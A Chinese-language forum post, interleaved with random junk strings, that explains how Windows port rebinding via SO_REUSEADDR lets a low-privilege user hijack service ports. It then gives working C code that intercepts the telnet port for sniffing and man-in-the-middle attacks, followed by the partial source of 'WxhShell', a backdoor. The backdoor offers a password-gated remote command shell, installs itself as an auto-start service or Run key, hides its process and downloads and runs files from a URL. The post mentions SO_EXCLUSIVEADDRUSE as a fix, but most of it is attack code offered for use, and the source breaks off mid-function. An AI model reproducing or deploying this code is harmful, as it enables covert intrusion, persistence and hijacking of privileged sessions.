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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: P2Y^d#jO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =V5%+/r+f  
AwN!;t_0+N  
  saddr.sin_family = AF_INET; a{e4it  
ce(#2o&`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^Dx&|UwiZa  
T C"<g  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); adw2x pj  
Zc2PepIg  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 x"g&#Vq ~  
^}r1;W?n  
  这意味着什么?意味着可以进行如下的攻击: 0$njMnB2l  
gZ5 |UR<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g .\[o@H  
i9$ Av  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t&p|Ynz?i  
@XVTU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r=4eP(w=  
3o qHGA:}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;Qq\DFe.w  
=Sv/IXX\di  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \Cj B1] I  
wS*E(IAl  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  @8 6f  
NO3/rJ6-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #1[u (<AS  
2?x4vI np;  
  #include Xeaj xcop#  
  #include `2snz1>!j  
  #include +qoRP2  
  #include    he4(hX^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   M`>E|" <  
  int main() {8OCXus3m  
  { AR=]=8  
  WORD wVersionRequested; $^ P0F9~0  
  DWORD ret; HV.t6@\};  
  WSADATA wsaData; Vc2`b3"Br  
  BOOL val; C]#,+q*  
  SOCKADDR_IN saddr; KSvE~h[#+  
  SOCKADDR_IN scaddr; Uv.)?YeGh  
  int err;  `]X>V,  
  SOCKET s; 0mnw{fE8_  
  SOCKET sc; _L PHPj^Pg  
  int caddsize; TN.rrop`#g  
  HANDLE mt; 2?5>o!C  
  DWORD tid;   99S ^f:t  
  wVersionRequested = MAKEWORD( 2, 2 ); g ?k=^C  
  err = WSAStartup( wVersionRequested, &wsaData ); ;I*o@x_  
  if ( err != 0 ) { `g,..Ns-r  
  printf("error!WSAStartup failed!\n"); q@&6#B  
  return -1; RpK@?[4s  
  } Q@niNDaW2  
  saddr.sin_family = AF_INET; *fdTpXa  
   Rv=YFo[B  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 TJN4k@\$2  
R=dC4;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rUl+  
  saddr.sin_port = htons(23); :+Z%; Dc  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j [a(#V{  
  { /mHqurB  
  printf("error!socket failed!\n"); 4W])}C %  
  return -1; @,}UWU  
  } ~?dI*BZ)]  
  val = TRUE; : +u]S2u{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 j+!v}*I![  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B[}6-2<>?C  
  { >usL*b0%  
  printf("error!setsockopt failed!\n"); ==B6qX8T  
  return -1; 4 :v=pZ  
  } fOHxtHM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; CAlCDfKW}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <$YlH@;)`a  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D=$)n_F  
;|RTx  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /xQTxh1;K  
  { 3'Rx=G'  
  ret=GetLastError(); hb-%_c"kq  
  printf("error!bind failed!\n"); {I ((p_  
  return -1; [WJ+h~~ o  
  } >_TZ'FT  
  listen(s,2); 5(2;|I,T  
  while(1) lYIH/:T  
  { 3%6? g*  
  caddsize = sizeof(scaddr); cl1T8vFM  
  //接受连接请求 rOYx b }1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pYg/Zm Jd  
  if(sc!=INVALID_SOCKET) l]vm=7:  
  { / 1RpM]d  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +3gp%`c4  
  if(mt==NULL) RCrCs  
  { ,6/V" kqIP  
  printf("Thread Creat Failed!\n"); s.rm7r@ #  
  break; Ef\ -VKh  
  } Wqnc{oq |$  
  } VTM/hJmwJ  
  CloseHandle(mt); n<,BmVQ  
  } (:_$5&i7  
  closesocket(s); .}t e>]A*  
  WSACleanup(); "%_+-C<L4  
  return 0; #c J@uqR  
  }   ~[ jQ!tz  
  DWORD WINAPI ClientThread(LPVOID lpParam) s iaG'%@*r  
  { M:8R -c#![  
  SOCKET ss = (SOCKET)lpParam; 3]>|  i  
  SOCKET sc; HQ g^ h  
  unsigned char buf[4096]; W!X@  
  SOCKADDR_IN saddr; > I?IPQB  
  long num; RN1_S  
  DWORD val; 7/H)Az@i45  
  DWORD ret; 0f/<7R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )4OxY[2J  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   uZ5p#M_  
  saddr.sin_family = AF_INET; "[k3kAm  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9p/Bh$vJ  
  saddr.sin_port = htons(23); 3mgD(,(^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^c<Ve'-  
  { s*[bFJwN  
  printf("error!socket failed!\n"); QY/w  
  return -1; pb}*\/s  
  } |N2#ItBbW  
  val = 100; t!XwW$@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *T/']t  
  { 2 nCA<&  
  ret = GetLastError(); vQCy\Gi   
  return -1; NOva'qk  
  }  )2.Si#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e= AKD#  
  { 8=l%5r^cq  
  ret = GetLastError(); siI;"?  
  return -1; >Ry01G]_/h  
  } SU0 hma8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) v+XJ*N[W  
  { HtFDlvdy]  
  printf("error!socket connect failed!\n"); aOp\91  
  closesocket(sc); r&CiSMS*  
  closesocket(ss); uFE)17E  
  return -1; )pa]ui\t  
  } CTb%(<r  
  while(1) mt .sucT  
  { d0D] Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p{_ " bB  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7I}uZ/N  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 eFgA 8kY)  
  num = recv(ss,buf,4096,0); x:Y1P:  
  if(num>0) 9w"*y#_  
  send(sc,buf,num,0); A^g(k5M*  
  else if(num==0) ~$'awY  
  break; ZVBXx\{s  
  num = recv(sc,buf,4096,0); s;e\ pt  
  if(num>0) 1Mzmg[L8  
  send(ss,buf,num,0); <)9y{J}s:  
  else if(num==0) ]Ze1s02(  
  break; c{|p.hd  
  } i5Ggf"![  
  closesocket(ss); vsPu*[%  
  closesocket(sc); jA1 +x:Wq  
  return 0 ; lA]8&+,ZM  
  } 1}x%%RD_  
[,Gg^*umS  
TjH][bH5  
========================================================== Ud?Q%) X  
y(#e}z:  
下边附上一个代码,,WXhSHELL D*jM1w_`  
vh^VxS  
========================================================== K;?+8(H  
I7onX,U+  
#include "stdafx.h" A.SvA Yn  
#qki  
#include <stdio.h> Nn6%9PX_)  
#include <string.h> KlEpzJ98  
#include <windows.h> x2xRBkRg=  
#include <winsock2.h> Gc?a+T  
#include <winsvc.h> /~1+i'7V.,  
#include <urlmon.h> =_CzH(=f#  
x}4q {P5$  
#pragma comment (lib, "Ws2_32.lib") 6ujW Nf  
#pragma comment (lib, "urlmon.lib") =;L|gtH"  
:OT&  
#define MAX_USER   100 // 最大客户端连接数 E .h*g8bXe  
#define BUF_SOCK   200 // sock buffer z{q`GwW  
#define KEY_BUFF   255 // 输入 buffer W9&=xs6  
>*bvw~y,  
#define REBOOT     0   // 重启 Eci\a]  
#define SHUTDOWN   1   // 关机 >P(.:_ ^p  
mpyt5#f  
#define DEF_PORT   5000 // 监听端口 F|8 &  
%#+Hl0,Tt  
#define REG_LEN     16   // 注册表键长度 G@0&8  
#define SVC_LEN     80   // NT服务名长度 A/(a`"mK|'  
?dTD\)%A  
// 从dll定义API 9c],<;{'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x`s>*^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _1^'(5f$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \V:^h [ad  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +ZYn? #IQ  
ZCw]m#lS  
// wxhshell配置信息 f$( e\+ +  
struct WSCFG { HW|IILFB  
  int ws_port;         // 监听端口 7)m9"InDI  
  char ws_passstr[REG_LEN]; // 口令 bt *k.=p  
  int ws_autoins;       // 安装标记, 1=yes 0=no  _F{C\}  
  char ws_regname[REG_LEN]; // 注册表键名 zs;JJk^  
  char ws_svcname[REG_LEN]; // 服务名 ~[: 2I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s2?&!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Xj*Wu_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Vl]>u+YqE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9mgIUjz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <3iMRe  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zDp2g)  
w!CNRtM:~  
}; 0x7'^Z>-oe  
kza5ab  
// default Wxhshell configuration (hsl~Jf  
struct WSCFG wscfg={DEF_PORT, SuznN L=/$  
    "xuhuanlingzhe", N [@?gFtT  
    1, ?"FbsMk.d  
    "Wxhshell", tkhCw/  
    "Wxhshell", ToQ"Iy?  
            "WxhShell Service", iE{&*.q_}>  
    "Wrsky Windows CmdShell Service", ?upM>69{  
    "Please Input Your Password: ", E4!Fupkpf  
  1, GfG|&VNlz  
  "http://www.wrsky.com/wxhshell.exe", ~ 1pr~  
  "Wxhshell.exe" x"(KBEK~  
    }; )+M0Y_r  
z2c6T.1M  
// 消息定义模块 HDKbF/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -8Xf0_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8Y3I0S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SaCh 7 ^  
char *msg_ws_ext="\n\rExit."; S$3JMFA  
char *msg_ws_end="\n\rQuit."; cAy3^{3:  
char *msg_ws_boot="\n\rReboot..."; sGb{9.WK  
char *msg_ws_poff="\n\rShutdown..."; _|]x2xb)  
char *msg_ws_down="\n\rSave to "; ]?)TdJ`  
z=FZiH  
char *msg_ws_err="\n\rErr!"; {t!!Uz 7  
char *msg_ws_ok="\n\rOK!"; : jx4{V  
)i<j XZ:O  
char ExeFile[MAX_PATH]; ]~%6JJN7  
int nUser = 0; ]d`VT)~vje  
HANDLE handles[MAX_USER]; Mlq.?-QgIL  
int OsIsNt; ]{kPrey  
l]cFqL p  
SERVICE_STATUS       serviceStatus; TKjFp%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V,9cl,z+  
4sM.C9W  
// 函数声明 J=L5=G7(  
int Install(void); Th[dW<  
int Uninstall(void); d1kJRJ   
int DownloadFile(char *sURL, SOCKET wsh); Z= !*e~j@  
int Boot(int flag); Wvqhl 'J  
void HideProc(void); {PmZ9  
int GetOsVer(void); Ve=b16H  
int Wxhshell(SOCKET wsl); 80;(Gt@<"  
void TalkWithClient(void *cs);  XlJZhc  
int CmdShell(SOCKET sock); Sc   
int StartFromService(void); d %#b:(,  
int StartWxhshell(LPSTR lpCmdLine); #[a*rD%m  
i?~3*#IpD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i  LAscb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \;-|-8Q  
= f i$}>\  
// 数据结构和表定义 3,=6@U  
SERVICE_TABLE_ENTRY DispatchTable[] = 0^ibNiSP  
{ gNhQD*+>{  
{wscfg.ws_svcname, NTServiceMain}, V> bCKtf&  
{NULL, NULL} d/Q%IeEL.  
}; @o6L6Y0Naa  
@K]|K]cby  
// 自我安装 iIogx8[  
int Install(void) rbCAnwA2  
{ U?=Dg1  
  char svExeFile[MAX_PATH]; 63A.@mL  
  HKEY key; h@h!,;  
  strcpy(svExeFile,ExeFile); RGU\h[  
 ][]  
// 如果是win9x系统,修改注册表设为自启动 "T"h)L<  
if(!OsIsNt) { ${)b[22":  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S+2(f> Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T5:G$-qL(  
  RegCloseKey(key); w-{c.x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _,d~}_$`i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +'@Dz9:>  
  RegCloseKey(key); |a%Tp3Q~  
  return 0; PzR[KUK  
    } p6WX9\qS(  
  } Jq^T1_iqn  
} B~du-Z22IZ  
else { f4Rf?w*  
EU/8=JA1  
// 如果是NT以上系统,安装为系统服务  JSg$wi8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _Y[bMuUb=  
if (schSCManager!=0) 1>&]R=  
{ tdaL/rRe  
  SC_HANDLE schService = CreateService Uv~QUL3>  
  ( (2 a`XwR  
  schSCManager, {GcO3G#FZ  
  wscfg.ws_svcname, IyPnp&_  
  wscfg.ws_svcdisp, 1&o|TT/  
  SERVICE_ALL_ACCESS, Q?/o%`N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ivz5H(b  
  SERVICE_AUTO_START, ED& `_h7?  
  SERVICE_ERROR_NORMAL, I15{)o(8$  
  svExeFile, mo#04;VF  
  NULL, ]}(H0?OQR  
  NULL, (NnH:J`  
  NULL, 8Dm%@*B^b  
  NULL, ^Js9 s8?$  
  NULL M[112%[+4  
  ); RlDn0s  
  if (schService!=0) k,F6Tx  
  { )Iq<+IJ  
  CloseServiceHandle(schService); LRMx<X8  
  CloseServiceHandle(schSCManager); H1(Uw:V8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _OC<[A  
  strcat(svExeFile,wscfg.ws_svcname); 9lDhIqx0~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *``JamnSO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N<KS(@v y  
  RegCloseKey(key); _W'-+,  
  return 0; [bNx^VP*  
    } Zdo'{ $  
  } H_<C!OgR  
  CloseServiceHandle(schSCManager); r s?R:+  
} Z@@K[$  
} }t1a* z  
SrK<fAkx  
return 1; B\:%ufd ~  
} ,V:SN~P66+  
""Q P%  
// 自我卸载 >q1L2',pK  
int Uninstall(void) v(D;PS3r 7  
{ xZF}D/S?Ov  
  HKEY key; P0PWJ^+,+  
<)-Sj,  
if(!OsIsNt) { KC#q@InK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2WVka  
  RegDeleteValue(key,wscfg.ws_regname); t; {F%9j{  
  RegCloseKey(key); y (pks$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \3aoM{ztD  
  RegDeleteValue(key,wscfg.ws_regname); ]Y8<`;8/  
  RegCloseKey(key); BC<^a )D=  
  return 0; t#pS{.I  
  } <=0 u2~E  
} 8j % Tf;  
} k<{{*  
else { -f>%+<k=  
`LE6jp3,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )i^<r;_z  
if (schSCManager!=0) A_5P/ARmI  
{ "#oHYz3D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;Q*or2"!  
  if (schService!=0) Om@C X<(9C  
  { * 8_wYYH  
  if(DeleteService(schService)!=0) { 364`IC( a  
  CloseServiceHandle(schService); z]?N+NHOA  
  CloseServiceHandle(schSCManager); CZI66pDy  
  return 0; ],a5)kV  
  } EbE-}>7OO  
  CloseServiceHandle(schService); sCk?  
  } cH?B[S;]  
  CloseServiceHandle(schSCManager); {U m)15K  
} tL)t"  i  
} }h!f eP  
 jQ  
return 1; [knN:{ l  
} j=aI9p  
&NoS=(s,  
// 从指定url下载文件 78# v  
int DownloadFile(char *sURL, SOCKET wsh) ,N[7/kT|  
{ {~s DYRX  
  HRESULT hr; t@N=kV  
char seps[]= "/"; ,TN 2  
char *token; N@1+O,o  
char *file; f@DYN!Z_m  
char myURL[MAX_PATH]; \6<=$vD  
char myFILE[MAX_PATH]; fM63+9I)\  
^T$|J;I  
strcpy(myURL,sURL); ^,8)iV0j_  
  token=strtok(myURL,seps); .my0|4CQ#@  
  while(token!=NULL) C/kW0V7  
  { pd7NF-KD  
    file=token; PCM-i{6/  
  token=strtok(NULL,seps); VG5+CU  
  } 5Z\#0":e  
7Ka l"Ew  
GetCurrentDirectory(MAX_PATH,myFILE); #9xd[A : N  
strcat(myFILE, "\\"); ~ZhraSI) G  
strcat(myFILE, file); A1#%`^W9  
  send(wsh,myFILE,strlen(myFILE),0); z]bwnJfd  
send(wsh,"...",3,0); 3u\;j; Td!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `[YngYw  
  if(hr==S_OK) E|$Oha[  
return 0; s{4\xAS>  
else UYtuED  
return 1; on7I l  
gxGrspqg  
} 2.X"f  
T4;T6 9j;,  
// 系统电源模块 Zf>^4_x3P  
int Boot(int flag) |uH%6&\  
{ 9cv]y#  
  HANDLE hToken; L~^*u_U]  
  TOKEN_PRIVILEGES tkp; -sMytHH.  
uGl| pJ\y=  
  if(OsIsNt) { HOp-P8z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :9|W#d{o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =)OC|?9 C\  
    tkp.PrivilegeCount = 1; KZBrE$@%5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *}):<nB$^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :b,^J&~/)1  
if(flag==REBOOT) { ? QDWuPhN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sF+=KH  
  return 0; W];EKj,3W  
} jAsO8  
else { 41 vL"P K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :Ld!mRZF  
  return 0; I6LD)?  
} bxXiQa  
  } efuK  
  else { EC?Efc+O  
if(flag==REBOOT) { gK3Mms]}m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hD<f3_k  
  return 0; ~mN% (w!^  
} ]PNow S\  
else { Ok%}|/ P4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]wuy_+$  
  return 0; p11G#.0  
} i`O rMzL  
} K.SeK3(  
tO.$+4a  
return 1; a1MFjmq  
} 1;W=!Fx  
#cwCocw  
// win9x进程隐藏模块 ev>oC~>s  
void HideProc(void) R.1Xst &i  
{ 0D)`2W  
M>_= "atI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;~sr$6  
  if ( hKernel != NULL ) :nQp.N*p  
  { G"S5ki`o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5su.+4z\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \-. Tg!Q6  
    FreeLibrary(hKernel); %3a|<6  
  } F1A1@{8bN  
Eqphd!\#6  
return; nJVp.*S  
} mPmB6q%)]  
BQjam+u6  
// 获取操作系统版本 TvrwVL)  
int GetOsVer(void) vg5NY =O  
{ L=7rDW)aa  
  OSVERSIONINFO winfo; WaYO1*=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); } 21j  
  GetVersionEx(&winfo); ;1LG&h,K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AQci,j"  
  return 1; !O\X+#j  
  else w4:<fnOM  
  return 0; ]M4NpU M  
} y-cw~kNPP3  
z/vDgH!s  
// 客户端句柄模块 5L &:_iQZy  
int Wxhshell(SOCKET wsl) !s-/0ugZ  
{ A! ;meVUs  
  SOCKET wsh; RWahsJTu  
  struct sockaddr_in client; 31 ] 7z  
  DWORD myID; R|t;p!T  
HIPL!ss]  
  while(nUser<MAX_USER) MYTS3(  
{ <R~KM=rL  
  int nSize=sizeof(client); ;Prg'R[o;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XZ@ >]P  
  if(wsh==INVALID_SOCKET) return 1; WOH9%xv  
cMtJy"kK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AijUs*n 2  
if(handles[nUser]==0) $SF3odpt  
  closesocket(wsh); 3*\8p6G  
else w)<4>(D  
  nUser++; R1 qMg+  
  } *dVD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r!M#7FDs(  
Q=XA"R  
  return 0; J=L`]XE  
} g _x\T+=  
w#d} TY  
// 关闭 socket Hf.xd.Yw  
void CloseIt(SOCKET wsh) 6)+9G_  
{ eu=|t&FKk  
closesocket(wsh); ;.r2$/E  
nUser--; vK`S!7x'&  
ExitThread(0); "DzG Bu\  
} *e,CDV  
bN4d:0Y  
// 客户端请求句柄 Qq>ElQ@  
void TalkWithClient(void *cs) g` kZ T} h  
{ j>V"hf  
?P YNE  
  SOCKET wsh=(SOCKET)cs; 2:n|x5\H  
  char pwd[SVC_LEN]; @p"NJx"  
  char cmd[KEY_BUFF]; K9LEIby  
char chr[1]; x:vrK#8D>  
int i,j; C,R,:zR  
&8juS,b  
  while (nUser < MAX_USER) { ZG!x$ yi$  
\4C)~T:*  
if(wscfg.ws_passstr) { {Wr\D Vp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #[C< J#;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dkf}),Z F  
  //ZeroMemory(pwd,KEY_BUFF); 2kC^7ZAwu  
      i=0; %pd5w~VP  
  while(i<SVC_LEN) { # e$\~cPd  
M44_us  
  // 设置超时 _y|[Z;  
  fd_set FdRead;  \8 g.  
  struct timeval TimeOut; IOn`cbV:  
  FD_ZERO(&FdRead); ;;D% l^m+  
  FD_SET(wsh,&FdRead); uFMs ^^#  
  TimeOut.tv_sec=8;  KhLg*EL  
  TimeOut.tv_usec=0; m]E o(P4+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jg7d7{{SB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u;$I{b@M]  
5 1v r^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _QD/!~O  
  pwd=chr[0]; |>M-+@g j  
  if(chr[0]==0xd || chr[0]==0xa) { qT 5Wa O)  
  pwd=0; :17ee  
  break; |Tj`qJGVw  
  } 1{= E ?  
  i++; N+ak[axN  
    } Vj#%B.#Zbf  
Y}85J:q]  
  // 如果是非法用户,关闭 socket oBhL}r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -Mit$mFn  
} 9)8*FahW  
^[k6]1h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hnH)Jy;>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dO Y lI`4  
lqhHbB  
while(1) { o}5'v^"6,  
}M;sz  
  ZeroMemory(cmd,KEY_BUFF); _:oMyK'  
=MQ2sb  
      // 自动支持客户端 telnet标准   kfH9Y%bOy  
  j=0; W66}\&5  
  while(j<KEY_BUFF) { \"<GL;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D N2hv2  
  cmd[j]=chr[0]; "j *fVn  
  if(chr[0]==0xa || chr[0]==0xd) { i4 y(H  
  cmd[j]=0; a,en8+r ]  
  break; j@kRv@  
  } U"jUMOMZ;  
  j++; W$x K^}  
    } pO-)x:Wg  
2gK p\!  
  // 下载文件 V}3~7(   
  if(strstr(cmd,"http://")) { rd f85%%7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  |V*e2w  
  if(DownloadFile(cmd,wsh)) *,Aa9wa{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L%=BCmMx  
  else bCe[nmE2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \`p|,j  
  } J:M<9W  
  else { l,~ N~?  
_&8KB1~  
    switch(cmd[0]) { ]lG_rGw  
  O~c+$(  
  // 帮助 j[Hg]  
  case '?': { jHUz`.8B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }b\ipA,~  
    break; AmrJ_YP/t~  
  } "X!_37kQ  
  // 安装 n^I|}u\  
  case 'i': { MXu+I,y*  
    if(Install()) !E(J ]a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QvyUd%e'5A  
    else E!oJ0*@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )GF  
    break; rkER`  
    } _cnrGi}T  
  // 卸载 3mnLV*aRt  
  case 'r': { ygu?w7  
    if(Uninstall()) &nY2u-Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Luu-c<*M  
    else R?FtncL%D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >goAf`sqo  
    break; %%H. &*i,  
    } zv3<i (  
  // 显示 wxhshell 所在路径 T<_1|eH  
  case 'p': { sC'A_-'  
    char svExeFile[MAX_PATH]; \ { E;u'F  
    strcpy(svExeFile,"\n\r"); [Nzg 8FP  
      strcat(svExeFile,ExeFile); |Z +E(F  
        send(wsh,svExeFile,strlen(svExeFile),0);  MYW 4@#  
    break; l.LFlwt  
    } I.n{ "=$B@  
  // 重启 trNK9@wT)  
  case 'b': { aWi]t'_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \c`r9H^v{  
    if(Boot(REBOOT)) %#;(]7Zq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aABE= 9Y  
    else { fn"jYSy  
    closesocket(wsh); 0yEyt7 ~@  
    ExitThread(0); 6T aT_29  
    } ^a0 -5  
    break; 7G #e~,M5  
    } ;Z<*.f'^fc  
  // 关机 JT+lWhy  
  case 'd': { ?VHwYD.B  
